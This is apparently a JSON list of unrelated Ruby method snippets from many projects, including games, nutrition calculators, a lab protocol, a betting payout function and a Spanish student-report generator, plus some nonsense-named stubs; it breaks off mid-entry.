literal.to_i #e.g 34\\n\\t\\t\\telse\\n\\t\\t\\t\\tcoin_name = literal #.e.g Silver, Gold, Iron\\n\\t\\t\\tend\\n\\t\\tend\\n\\t\\tif !coin_name.empty? && credit_price_of_metal_coins > 0 && galactic_units.size > 0\\n\\t\\t\\tunits_of_coin_in_galactic_words = Translation.new(galactic_units.join(' ')) #.e.g glob glob \\n\\t\\t\\tunits_of_coin_in_numeral = units_of_coin_in_galactic_words.galactic_words_to_numeral #e.g glob glob gets converted to 2\\n\\t\\t\\tif units_of_coin_in_numeral > 0\\n\\t\\t\\t\\tunit_price = credit_price_of_metal_coins.to_f/units_of_coin_in_numeral #e.g 2 Silver is 34 so Unit Price is 32/2\\n\\t\\t\\t\\tTradeMetal.new(coin_name,unit_price)\\n\\t\\t\\telse\\n\\t\\t\\t\\tthrow_away_meaningless_line\\n\\t\\t\\tend\\n\\t\\telse\\n\\t\\t\\tthrow_away_meaningless_line\\n\\t\\tend\\n\\tend\",\n \"def telaDeAbertura\\n # Creditos da tela de abertura\\n system \\\"clear\\\"\\n puts \\\"\\\\n\\\\n\\\\n\\\"\\n centralizar(\\\"============ JOGO DA FORCA =============\\\")\\n centralizar(\\\"Desenvolvido por Wendel Lopes dos Santos\\\")\\n centralizar(\\\"W3n Gamer - 2020 v.1\\\")\\n # Instruções de jogabilidade\\n puts \\\"\\\\n\\\\n\\\"\\n centralizar(\\\"Seja bem vindo! Acerte a palavra secreta digitando uma letra por vez.\\\")\\n centralizar(\\\"Digite \\\\\\\"AJUDA\\\\\\\" para receber uma nova dica, ou digite \\\\\\\"SAIR\\\\\\\" para \\\")\\n centralizar(\\\"sair imediatamente do jogo.\\\")\\n puts \\\"\\\\n\\\"\\n centralizar(\\\"BOA SORTE!!!\\\")\\n puts \\\"\\\\n\\\"\\n centralizar(\\\"Precione ENTER para começar!!!\\\")\\n gets()\\n system \\\"clear\\\"\\n end\",\n \"def huella_ambiental\\r\\n energia = 0.0\\r\\n carbono = 0.0\\r\\n huella = 0.0\\r\\n if vct < 670 then\\r\\n energia = 1.0\\r\\n elsif vct <= 830 then\\r\\n energia = 2.0\\r\\n else\\r\\n energia = 3.0\\r\\n end\\r\\n if gei < 800 then\\r\\n carbono = 1.0\\r\\n elsif terrenos <= 1200 then\\r\\n carbono = 2.0\\r\\n else\\r\\n carbono = 3.0\\r\\n end\\r\\n huella = (energia + carbono)/2\\r\\n return huella\\r\\n \\r\\n end\",\n \"def prepare_qiazol_chlfrm_etoh(num_ops)\\n reagents = 'QIAzol, Chloroform, & Ethanol'\\n \\n # prepares fumehood for working with organics\\n prepare_fumehood(reagents)\\n \\n # Calcs the required reagent volumes in mLs\\n qia_vol = (num_ops * 0.7) + 0.2#mLs\\n chlfrm_vol = (num_ops * 0.44) + 0.2#mLs\\n etoh_vol = (num_ops * 0.5) + 0.2#mL\\n \\n show do\\n title \\\"Aliquoting #{reagents} in the Fume Hood\\\"\\n separator\\n note \\\"Gather a <b>tube rack</b>\\\"\\n note \\\"Gather <b>#{reagents.split(',').length}</b> falcon tubes that are able to hold the volumes below.\\\"\\n reagents_tab = [\\n [\\\"# of Samples\\\",\\\"QIAzol (ml)\\\", \\\"Chloroform (ml)\\\", \\\"100% Ethanol (ml)\\\"], \\n [num_ops, qia_vol.round(3), chlfrm_vol.round(3), etoh_vol] \\n ] \\n table reagents_tab\\n note \\\"Leave #{reagents} in fumehood until needed.\\\"\\n note \\\"<b>Once finished, cap and store properly.</b>\\\"\\n end\\n end\",\n \"def nutritionally(unaffirmed_excisor, undubbed_palindromic)\\n hatful_radsimir(dumbfounder, kaka_propheticly)\\n end\",\n \"def test_complex_pronouns\\n\\t\\tassert_equal(\\\"yes, i rule\\\", WordPlay.switch_pronouns(\\\"yes, you rule\\\"))\\n\\t\\tassert_equal(\\\"why do i cry\\\", WordPlay.switch_pronouns(\\\"why do you cry\\\"))\\n\\tend\",\n \"def therapist_quest; end\",\n \"def secret_formula(started)\\n\\tjelly_beans = started * 500\\n\\tjars = jelly_beans / 1000\\n\\tcrates = jars / 100\\n\\treturn jelly_beans, jars, crates\\nend\",\n \"def secret_formula(started)\\n\\tjelly_beans = started * 500\\n\\tjars = jelly_beans / 1000\\n\\tcrates = jars / 100\\n\\treturn jelly_beans, jars, crates\\nend\",\n \"def secret_formula(started)\\n\\tjelly_beans = started * 500\\n\\tjars = jelly_beans / 1000\\n\\tcrates = jars / 100\\n\\treturn jelly_beans, jars, crates\\nend\",\n \"def king_richard_iii_quote; end\",\n \"def sittinae_hooey(scrawny_appulsion, termly)\\n end\",\n \"def deponent_imperative_mutations # :nodoc:\\n self.singleton_class.class_eval do\\n def active_voice_imperative_mood_present_tense_second_person_singular_number\\n return @proxyVerb.instance_variable_get '@present_active_infinitive'\\n end\\n def active_voice_imperative_mood_present_tense_second_person_plural_number\\n return @proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\\n end\\n def active_voice_imperative_mood_future_tense_second_person_singular_number\\n k=@proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\\n k.sub!(/minī$/, '')\\n k += 'tor'\\n Linguistics::Latin::Phonographia.fix_macrons k\\n end\\n end\\n end\",\n \"def phase_one\\n\\tputs divider\\n\\tputs \\\"Phase One\\\"\\n\\tputs divider\\n\\t8.times do \\n\\t\\ttribe_immunity_challenge\\n\\tend\\nend\",\n \"def ascii_products\\n\\\" _ _ \\n | | | | \\n _ __ _ __ ___ __| |_ _ ___| |_ ___ \\n| '_ \\\\\\\\| '__/ _ \\\\\\\\ / _` | | | |/ __| __/ __|\\n| |_) | | | (_) | (_| | |_| | (__| |_\\\\\\\\__ \\\\\\\\\\n| .__/|_| \\\\\\\\___/ \\\\\\\\__,_|\\\\\\\\__,_|\\\\\\\\___|\\\\\\\\__|___/\\n| | \\n|_| \\\"\\n\\tend\",\n \"def lentille_miroir\\n if o.lentille\\n return \\\"\\n % Dessin de la lentille et des points focaux\\n \\\\\\\\draw [ultra thick] (-0.5,#{-HAUTEUR+o.fpsign*0.5}) -- (0,-#{HAUTEUR}) -- (0.5,#{-HAUTEUR+o.fpsign*0.5})\\n (-0.5,#{ HAUTEUR-o.fpsign*0.5}) -- (0, #{HAUTEUR}) -- (0.5,#{ HAUTEUR-o.fpsign*0.5}) ;\\n \\\\\\\\filldraw [black] (#{ o.fp},0) circle (2pt) node [above #{right(o.fpsign)}] {$F'$};\\n \\\\\\\\filldraw [black] (#{-o.fp},0) circle (2pt) node [above #{left(o.fpsign)}] {$F$} ;\\n \\\\\\\\filldraw [black] (0,0) circle (2pt) node [above right] {$O$} ;\\n \\\"\\n else\\n return \\\"\\n \\\\\\\\draw [ultra thick] (#{-0.5*o.fpsign},#{-HAUTEUR-0.5}) -- (0,-#{HAUTEUR}) \\n (#{-0.5*o.fpsign},#{ HAUTEUR+0.5}) -- (0, #{HAUTEUR}) ;\\n \\\\\\\\filldraw [black] (#{-o.fp},0) circle (2pt) node [above #{right(o.fpsign)}] {$F$};\\n \\\\\\\\filldraw [black] (#{-2*o.fp},0) circle (2pt) node [above #{left(o.fpsign)}] {$C$} ;\\n \\\\\\\\filldraw [black] (0,0) circle (2pt) node [above right] {$S$} ;\\n \\\" + (0..(2*HAUTEUR-1)).to_a.map{|e| \\\"\\\\\\\\draw [ultra thick] (0,#{-HAUTEUR+0.5+e}) -- (0.5,#{-HAUTEUR+0.5+e+0.5});\\\"}.join(\\\"\\\\n\\\")\\n end\\n end\",\n \"def virus_effects\\r\\n predicted_deaths()\\r\\n speed_of_spread()\\r\\n end\",\n \"def virus_effects\\r\\n predicted_deaths()\\r\\n speed_of_spread()\\r\\n end\",\n \"def preprovide_saily_kainsi(akamatsu_demoniacally)\\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\\n lid_polytonalism(pneumoenteritis_ribby)\\n pricklefish(overdraft, phleboplasty_poleaxe)\\n end\",\n \"def powered_by\\n random_and_sane [\\n \\\"Diet Pepsi\\\",\\n \\\"the funny voice he uses to talk to dogs\\\",\\n \\\"the love of his life, <a href=\\\\\\\"http://thebluesunshine.com/\\\\\\\">Lizza</a>\\\",\\n \\\"hoagies from <a href=\\\\\\\"https://foursquare.com/v/sarcones-deli/4a9b035ef964a520fc3320e3\\\\\\\">Sarcone's Deli</a>\\\",\\n \\\"his sweet tooth for #{random_and_sane ['Nerds rope','Mike and Ikes','Peppermint Patties']}\\\",\\n \\\"any and all potatoes\\\",\\n \\\"rays of sunshine trickling through his backyard fig tree\\\"\\n ]\\n end\",\n \"def alpha3_terminologic\\n self[1]\\n end\",\n \"def alpha3_terminologic\\n self[1]\\n end\",\n \"def secret_formula(started)\\n jelly_beans = started * 500\\n jars = jelly_beans / 1000\\n crates = jars / 100\\n return jelly_beans, jars, crates\\nend\",\n \"def secret_formula(started)\\n jelly_beans = started * 500\\n jars = jelly_beans / 1000\\n crates = jars / 100\\n return jelly_beans, jars, crates\\nend\",\n \"def secret_formula(started)\\n jelly_beans = started * 500\\n jars = jelly_beans / 1000\\n crates = jars / 100\\n return jelly_beans, jars, crates\\nend\",\n \"def secret_formula(started)\\n jelly_beans = started * 500\\n jars = jelly_beans / 1000\\n crates = jars / 100\\n return jelly_beans, jars, crates\\nend\",\n \"def combat_2ennemi(user_nameP, barret, ennemi1, ennemi2)\\n puts ' _________ ________ _____ __________ ________________ '\\n puts ' \\\\_ ___ \\\\ \\\\_____ \\\\ / \\\\\\\\______ \\\\ / _ \\\\__ ___/ '\\n puts ' / \\\\ \\\\/ / | \\\\ / \\\\ / \\\\| | _/ / /_\\\\ \\\\| | '\\n puts ' \\\\ \\\\____/ | \\\\/ Y \\\\ | \\\\/ | \\\\ | '\\n puts ' \\\\______ /\\\\_______ /\\\\____|__ /______ /\\\\____|__ /____| '\\n puts ' \\\\/ \\\\/ \\\\/ \\\\/ \\\\/ '\\n numero_tour = 0\\n\\n\\n while ennemi1.personnage_alive && ennemi2.personnage_alive\\n if ennemi1.personnage_hp <= 0\\n puts \\\"\\\"\\n puts \\\"--------------------------------\\\"\\n puts \\\"Le #{ennemi1.name} est mort !\\\"\\n puts \\\"--------------------------------\\\"\\n puts \\\"\\\"\\n end\\n if ennemi2.personnage_hp <= 0\\n puts \\\"\\\"\\n puts \\\"--------------------------------\\\"\\n puts \\\"Le #{ennemi2.name} est mort !\\\"\\n puts \\\"--------------------------------\\\"\\n puts \\\"\\\"\\n end\\n if ennemi1.personnage_hp <= 0 && ennemi2.personnage_hp <= 0\\n puts \\\"\\\"\\n puts \\\"--------------------------------\\\"\\n puts \\\"Les ennemis sont morts !\\\"\\n puts \\\"--------------------------------\\\"\\n total_xp = ennemi1.xp + ennemi2.xp\\n puts \\\"Vous gagnez #{total_xp} points d'XP !\\\"\\n ennemi1.personnage_alive = false\\n ennemi2.personnage_alive = false\\n\\n if ennemi1.loot == '1po'\\n $mon_inventaire.addpotion\\n puts \\\"--------------------------------\\\"\\n puts \\\"1x Potion ajoutée à votre inventaire.\\\"\\n puts \\\"--------------------------------\\\"\\n\\n elsif ennemi1.loot == '1gre'\\n $mon_inventaire.addgrenade\\n puts \\\"--------------------------------\\\"\\n puts \\\"1x Grenade ajoutée à votre inventaire.\\\"\\n puts \\\"--------------------------------\\\"\\n\\n elsif ennemi1.loot == '1po1gre'\\n $mon_inventaire.addpotion\\n $mon_inventaire.addgrenade\\n puts \\\"--------------------------------\\\"\\n puts \\\"1x Potion ajoutée à votre inventaire.\\\"\\n puts \\\"1x Grenade ajoutée à votre inventaire.\\\"\\n puts \\\"--------------------------------\\\"\\n\\n elsif ennemi2.loot == '1po'\\n puts \\\"--------------------------------\\\"\\n puts \\\"1x Potion ajoutée à votre inventaire.\\\"\\n puts \\\"--------------------------------\\\"\\n $mon_inventaire.addpotion\\n\\n elsif ennemi2.loot == '1gre'\\n puts \\\"--------------------------------\\\"\\n puts \\\"1x Grenade ajoutée à votre inventaire.\\\"\\n puts \\\"--------------------------------\\\"\\n $mon_inventaire.addgrenade\\n end\\n\\n puts \\\"\\\"\\n elsif ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\\n\\n numero_tour += 1\\n puts \\\"----------------------------------\\\"\\n puts \\\"Tour n°#{numero_tour}\\\"\\n puts \\\"Ennemis : #{ennemi1.name} ET #{ennemi2.name}\\\"\\n puts \\\"TIRENT A DISTANCE\\\"\\n if ennemi1.personnage_hp > 0\\n puts \\\"POINTS DE VIE : #{ennemi1.name} #{ennemi1.personnage_hp} HP\\\"\\n end\\n if ennemi1.personnage_hp <= 0\\n puts \\\"#{ennemi1.name} : mort.\\\"\\n end\\n if ennemi2.personnage_hp > 0\\n puts \\\"POINTS DE VIE : #{ennemi2.name} #{ennemi2.personnage_hp} HP\\\"\\n end\\n if ennemi2.personnage_hp <= 0\\n puts \\\"#{ennemi2.name} : mort.\\\"\\n end\\n puts \\\"\\\"\\n puts \\\"Que faites-vous ?\\\"\\n puts \\\"1. Attaquer\\\"\\n puts \\\"2. Défendre\\\"\\n puts \\\"3. Utiliser un objet\\\"\\n user_choice_4 = $stdin.gets.chomp\\n if user_choice_4 == \\\"1\\\"\\n puts \\\"Qui attaquer ?\\\"\\n if ennemi1.personnage_hp > 0\\n puts \\\"1. #{ennemi1.name}\\\"\\n end\\n if ennemi2.personnage_hp > 0\\n puts \\\"2. #{ennemi2.name}\\\"\\n end\\n print \\\"> \\\"\\n user_choice_4_fight = $stdin.gets.chomp\\n if user_choice_4_fight == \\\"1\\\" && ennemi1.personnage_hp > 0\\n puts \\\"\\\"\\n puts \\\"BIM !\\\"\\n puts \\\"Vous attaquez le #{ennemi1.name}.\\\"\\n puts \\\"Le #{ennemi1.name} réduit les dégats de #{ennemi1.personnage_defense}.\\\"\\n degats_totaux = user_nameP.personnage_attaque - ennemi1.personnage_defense\\n puts \\\"Le #{ennemi1.name} subit #{(user_nameP.personnage_attaque - ennemi1.personnage_defense)} points de dégats !\\\"\\n\\n #On fait attaquer Barret\\n\\n puts \\\"Barret attaque le #{ennemi1.name}.\\\"\\n puts \\\"Le #{ennemi1.name} réduit les dégats de #{ennemi1.personnage_defense}.\\\"\\n degats_barret_1 = barret.personnage_attaque - ennemi1.personnage_defense\\n puts \\\"Le #{ennemi1.name} subit #{(barret.personnage_attaque - ennemi1.personnage_defense)} points de dégats !\\\"\\n\\n if ennemi1.personnage_hp > 0\\n\\n ennemi1.personnage_hp -= degats_totaux\\n puts \\\"\\\"\\n puts \\\"Le #{ennemi1.name} vous attaque !\\\"\\n puts \\\"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\\\"\\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\\n puts \\\"Vous perdez #{degats_encaisses} points de vie !\\\"\\n user_nameP.personnage_hp -= degats_encaisses\\n puts \\\"Il vous reste #{user_nameP.personnage_hp} points de vie.\\\"\\n\\n puts \\\"Le #{ennemi2.name} attaque Barret !\\\"\\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\\n puts \\\"Barret perd #{degats_barret_encaiss} points de vie !\\\"\\n barret.personnage_hp -= degats_barret_encaiss\\n puts \\\"Barret a #{barret.personnage_hp} points de vie.\\\"\\n\\n if ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\\n puts \\\"Que faites-vous ?\\\"\\n end\\n elsif ennemi1.personnage_hp <= 0 || ennemi2.personnage_hp <= 0\\n puts \\\"\\\"\\n puts \\\"Le #{ennemi1.name} est mort !\\\"\\n ennemi1.personnage_alive = false\\n end\\n elsif user_choice_4_fight == \\\"2\\\" && ennemi2.personnage_hp > 0\\n puts \\\"\\\"\\n puts \\\"BIM !\\\"\\n puts \\\"Vous attaquez le #{ennemi2.name}.\\\"\\n puts \\\"Le #{ennemi2.name} réduit les dégats de #{ennemi2.personnage_defense}.\\\"\\n degats_totaux = user_nameP.personnage_attaque - ennemi2.personnage_defense\\n puts \\\"Le #{ennemi2.name} subit #{(user_nameP.personnage_attaque - ennemi2.personnage_defense)} points de dégats !\\\"\\n if ennemi2.personnage_hp > 0\\n\\n ennemi2.personnage_hp -= degats_totaux\\n puts \\\"\\\"\\n puts \\\"Le #{ennemi2.name} vous attaque !\\\"\\n puts \\\"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\\\"\\n degats_encaisses = ennemi2.personnage_attaque - user_nameP.personnage_defense\\n puts \\\"Vous perdez #{degats_encaisses} points de vie !\\\"\\n user_nameP.personnage_hp -= degats_encaisses\\n puts \\\"Il vous reste #{user_nameP.personnage_hp} points de vie.\\\"\\n\\n puts \\\"Le #{ennemi2.name} attaque Barret !\\\"\\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\\n puts \\\"Barret perd #{degats_barret_encaiss} points de vie !\\\"\\n barret.personnage_hp -= degats_barret_encaiss\\n puts \\\"Barret a #{barret.personnage_hp} points de vie.\\\"\\n\\n if ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\\n puts \\\"Que faites-vous ?\\\"\\n end\\n elsif ennemi1.personnage_hp <= 0 || ennemi2.personnage_hp <= 0\\n puts \\\"\\\"\\n puts \\\"Le #{ennemi2.name} est mort !\\\"\\n ennemi2.personnage_alive = false\\n end\\n end\\n elsif user_choice_4 == \\\"2\\\"\\n puts \\\"Vous gagnez de la défense !\\\"\\n puts \\\"Barret gagne de la défense !\\\"\\n user_nameP.personnage_defense += 3\\n barret.personnage_defense += 3\\n puts \\\"\\\"\\n puts \\\"Le #{ennemi1.name} vous attaque !\\\"\\n puts \\\"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\\\"\\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\\n puts \\\"Vous perdez #{degats_encaisses} points de vie !\\\"\\n user_nameP.personnage_hp -= degats_encaisses\\n puts \\\"Le #{ennemi1.name} attaque Barret !\\\"\\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\\n puts \\\"Barret perd #{degats_barret_encaiss} points de vie !\\\"\\n barret.personnage_hp -= degats_barret_encaiss\\n puts \\\"Barret a #{barret.personnage_hp} points de vie.\\\"\\n\\n elsif user_choice_4 ==\\\"3\\\"\\n if $mon_inventaire.show_potion > 0 || $mon_inventaire.show_grenade > 0\\n puts \\\"Potions : #{$mon_inventaire.show_potion}\\\"\\n puts \\\"Grenades : #{$mon_inventaire.show_grenade}\\\"\\n puts \\\"Que voulez-vous utiliser ?\\\"\\n if $mon_inventaire.show_potion > 0\\n puts \\\"1. Une potion.\\\"\\n puts \\\"2. Rien finalement.\\\"\\n combat2_potion_simple = $stdin.gets.chomp\\n\\n if combat2_potion_simple == \\\"1\\\"\\n puts \\\"Sur qui la lancer ?\\\"\\n puts \\\"1. Sur vous-même.\\\"\\n puts \\\"2. Sur Barret.\\\"\\n user_potion_fight = $stdin.gets.chomp\\n\\n if user_potion_fight == \\\"1\\\"\\n puts \\\"Vous regagnez #{50 - user_nameP.personnage_hp} points de vie.\\\"\\n user_nameP.personnage_hp = 50\\n $mon_inventaire.removpotion\\n elsif user_potion_fight ==\\\"2\\\"\\n puts \\\"Barret regagne #{60 - barret.personnage_hp} points de vie.\\\"\\n barret.personnage_hp = 60\\n $mon_inventaire.removpotion\\n else\\n \\\"Merci d'indiquer un bon chiffre.\\\"\\n end\\n puts \\\"Le #{ennemi1.name} vous attaque !\\\"\\n puts \\\"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\\\"\\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\\n puts \\\"Vous perdez #{degats_encaisses} points de vie !\\\"\\n user_nameP.personnage_hp -= degats_encaisses\\n puts \\\"Que faites-vous ?\\\"\\n elsif combat2_potion_simple == \\\"2\\\"\\n numero_tour -= 1\\n else\\n puts \\\"Merci d'indiquer un nombre pertinent.\\\"\\n numero_tour -=1\\n end\\n\\n elsif $mon_inventaire.show_grenade > 0\\n puts \\\"1. Une grenade !\\\"\\n puts \\\"2. Rien finalement.\\\"\\n combat2_grenade_simple = $stdin.gets.chomp\\n if combat2_grenade_simple == \\\"1\\\"\\n \\\"Le #{ennemi1.name} subit 30 points de dégats.\\\"\\n garde1.personnage_hp -= 30\\n $mon_inventaire.removgrenade\\n elsif combat2_grenade_simple == \\\"2\\\"\\n numero_tour -= 1\\n else\\n numero_tour -= 1\\n end\\n else\\n puts \\\"1. Une potion.\\\"\\n puts \\\"2. Une grenade !\\\"\\n puts \\\"3. Rien finalement.\\\"\\n combat2_grenade_ou_potion = $stdin.gets.chomp\\n if combat2_grenade_ou_potion == \\\"1\\\"\\n puts \\\"Sur qui la lancer ?\\\"\\n puts \\\"1. Sur #{user_name}.\\\"\\n puts \\\"2. Sur Barret.\\\"\\n user_potion_fight1 = $stdin.gets.chomp\\n\\n if user_potion_fight1 == \\\"1\\\"\\n puts \\\"Vous regagnez #{50 - user_nameP.personnage_hp} points de vie.\\\"\\n user_nameP.personnage_hp = 50\\n $mon_inventaire.removpotion\\n elsif user_potion_fight1 ==\\\"2\\\"\\n puts \\\"Barret regagne #{60 - barret.personnage_hp} points de vie.\\\"\\n barret.personnage_hp = 60\\n $mon_inventaire.removpotion\\n else\\n \\\"Merci d'indiquer un bon chiffre.\\\"\\n end\\n puts \\\"Le #{ennemi1.name} vous attaque !\\\"\\n puts \\\"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\\\"\\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\\n puts \\\"Vous perdez #{degats_encaisses} points de vie !\\\"\\n user_nameP.personnage_hp -= degats_encaisses\\n puts \\\" Que faites-vous ?\\\"\\n elsif combat2_grenade_ou_potion == \\\"2\\\"\\n \\\"Le #{ennemi1.name} subit 30 points de dégats.\\\"\\n garde1.personnage_hp -= 30\\n $mon_inventaire.removgrenade\\n elsif combat2_grenade_ou_potion == \\\"3\\\"\\n numero_tour -= 1\\n else\\n numero_tour -= 1\\n end\\n\\n\\n end\\n else\\n puts \\\"Vous n'avez pas d'objet !\\\"\\n numero_tour -= 1\\n end\\n\\n elsif user_choice_4 ==\\\"i\\\" || user_choice_4 ==\\\"I\\\" && $mon_inventaire.show_potion > 0 || $mon_inventaire.show_grenade > 0\\n puts \\\"\\\"\\n puts '|' + '-'*20 + '|'\\n puts \\\"|INVENTAIRE |\\\"\\n puts '|' + '-'*20 + '|'\\n puts \\\"|Potions : #{$mon_inventaire.show_potion} |\\\"\\n puts \\\"|Grenades : #{$mon_inventaire.show_grenade} |\\\"\\n puts '|' + '-'*20+ '|'\\n numero_tour -= 1\\n elsif user_choice_4 ==\\\"i\\\" || user_choice_4 ==\\\"I\\\"\\n puts \\\"Vous n'avez pas d'objets dans votre inventaire pour l'instant.\\\"\\n numero_tour -= 1\\n else\\n puts \\\"\\\"\\n puts \\\"Je n'ai pas compris. Que faites-vous ?\\\"\\n puts \\\"\\\"\\n numero_tour -= 1\\n end\\n end\\n end\\n\\n def afficher_inventaire\\n#à compléter\\n\\n end\\nend\",\n \"def procesar_posible_pago(jugadalot, entrada)\\n entrada = entrada[1..(entrada.size-1)] # \\\".250 => 250\\\" ok sacar monto apostado ok.\\n apostado = entrada.to_f\\n \\n jugadas = Jugadalot.where(:ticket_id => jugadalot) || []\\n \\n if (jugadas == []) # esto es posible en rails probado ok. Si no hay jugadas returnal nil para que envie mensaje de realizar jugadas primero ok ted. Ver la logica del progrma que invoca esta funcion ok.\\n return nil \\n\\n else\\n #Hay jugadas para procesar la formula del parlay de posible pago ok:\\\\\\n #ganancia = apostado * [coeficiente_jugada_parley_1] * [coeficiente_jugada_parley_2] * [coeficiente_jugada_parley_n] - apostado\\n coeficiente_jugada_parley = []\\n \\n jugadas.each do |jugada|\\n b = jugada.ml.to_s\\n if( b[0] == \\\"-\\\" )# < 0 # -125 mando gavela macho, -110, -170\\n coeficiente = (1.to_f + (100.to_f / b.to_f.abs)).to_f.round(4) # trabajar a 4 cifras decimales.\\n else\\n coeficiente = (1.to_f + ((b.to_f.abs) / 100.to_f)).to_f.round(4) # trabajar a 4 cifras decimales.\\n end\\n #puts coeficiente\\n #debugger\\n coeficiente_jugada_parley << coeficiente.to_f.round(4)\\n end\\n\\n #multiplicar los elementos del array para obtener el coeficiente resultante\\n #setear algunos casting primero, de string a int para multiplicar con inject\\n #coeficiente_jugada_parley.map!(&:to_f) #inject(:*).round(4)\\n # coeficiente_resultante = coeficiente_jugada_parley.inject(:*).round(4) # multiplica todos los elementos del array #sacado link:https://stackoverflow.com/questions/7050869/ruby-multiply-all-elements-of-an-array \\n \\n \\n resultante_multiplicar = 1.to_f # 1 es el elemento neutro de la multiplicacion ok ted.\\n \\n coeficiente_jugada_parley.each do |coeficiente|\\n resultante_multiplicar = (resultante_multiplicar.to_f * coeficiente.to_f.round(4)).round(4)\\n end\\n \\n coeficiente_resultante = resultante_multiplicar.to_f.round(4)\\n\\n ganacia = ( (apostado.to_f * coeficiente_resultante.to_f) - apostado.to_f).to_i\\n #ganacia = 18\\n acobrar = (apostado + ganacia).to_i\\n #lo de abajo comentado es para debug only ok. ted.\\n #return apostado, \\\"#{ganacia}, ticketid:#{jugadalot}, ticketlines: #{jugadas.all.count}, apostado:#{apostado}, coeficiente:#{coeficiente_resultante}, aray:#{coeficiente_jugada_parley.join(\\\"|\\\")}, jugadas: #{jugadas.all.count}\\\", acobrar\\n return apostado.to_i, ganacia, acobrar\\n\\n end # fin del if else end block ok\\n \\n\\n end\",\n \"def huella_nutricional\\n numero1 = self.calculo_valor_calorico_total\\n numero2 = self.calculo_emisiones_diarias\\n\\n if numero1 < 670\\n ienergia = 1\\n elsif numero1 <=830\\n ienergia = 2\\n else\\n ienergia = 3\\n end\\n\\n if numero2 < 800\\n icarbono = 1\\n elsif numero2 <= 1200\\n icarbono = 2\\n else\\n icarbono = 3\\n end\\n\\n media = (ienergia + icarbono)/2\\n end\",\n \"def show\\n\\n @años =(@test.edad/12).truncate\\n @meses = (@test.edad % 12).truncate\\n\\n if @test.ic > 115 then\\n @a = \\\"El/la estudiante ha adquirido las habilidades verbales por encima de lo esperado para su edad.\\\"\\n @b = \\\"Se sugieren las siguientes estrategias para reforzar los logros de su hijo/a:\\\"\\n\\n elsif @test.ic.between?(85, 115) then\\n @a = \\\"El/la estudiante ha adquirido las habilidades verbales esperadas para su edad.\\\"\\n @b = \\\"Se sugieren las siguientes estrategias para propiciar un mayor vocabulario de su hijo/a:\\\"\\n\\n elsif @test.ic < 85 then\\n @a = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades verbales esperadas para\\nsu edad.\\\"\\n@b = \\\"Se sugieren las siguientes estrategias para incentivar un mayor vocabulario de su hijo/a y\\nalcanzar el nivel esperado para su edad:\\\"\\n end\\n\\n if @test.nivel == \\\"Inicial\\\" then \\n @c = \\\"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\\nnuevas.\\\"\\n @d = \\\"Cuéntele y/o léale historias o cuentos a sus hijos. Esta puede ser una manera eficaz y\\nentretenida de introducir nuevo vocabulario en ellos. Posteriormente, converse sobre\\nlo que les ha leído.\\\"\\n\\nelsif @test.nivel == \\\"1\\\" then\\n @c = \\\"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\\nnuevas.\\\"\\n @d = \\\"Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o\\nhistorias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir\\nnuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído.\\\"\\n\\nelsif @test.nivel == \\\"2\\\" then\\n @c = \\\"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\\nnuevas.\\\"\\n @d = \\\"Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o\\nhistorias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir\\nnuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído.\\\"\\n end \\n\\n\\n# mate\\n\\n if @test.icm > 115 then\\n @e = \\\"El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas por encima de lo\\nesperado para su edad.\\\"\\n\\n elsif @test.icm.between?(85, 115) then\\n @e = \\\"El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas esperadas para\\nsu edad.\\\"\\n\\n elsif @test.icm < 85 then\\n @e = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades matemáticas aritméticas\\nbásicas esperadas para su edad.\\\"\\n end\\n\\n# Numeración\\n\\n# 60 a 65\\n\\nif @test.edad.between?(60, 65) && @test.pi_num > 10 then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y 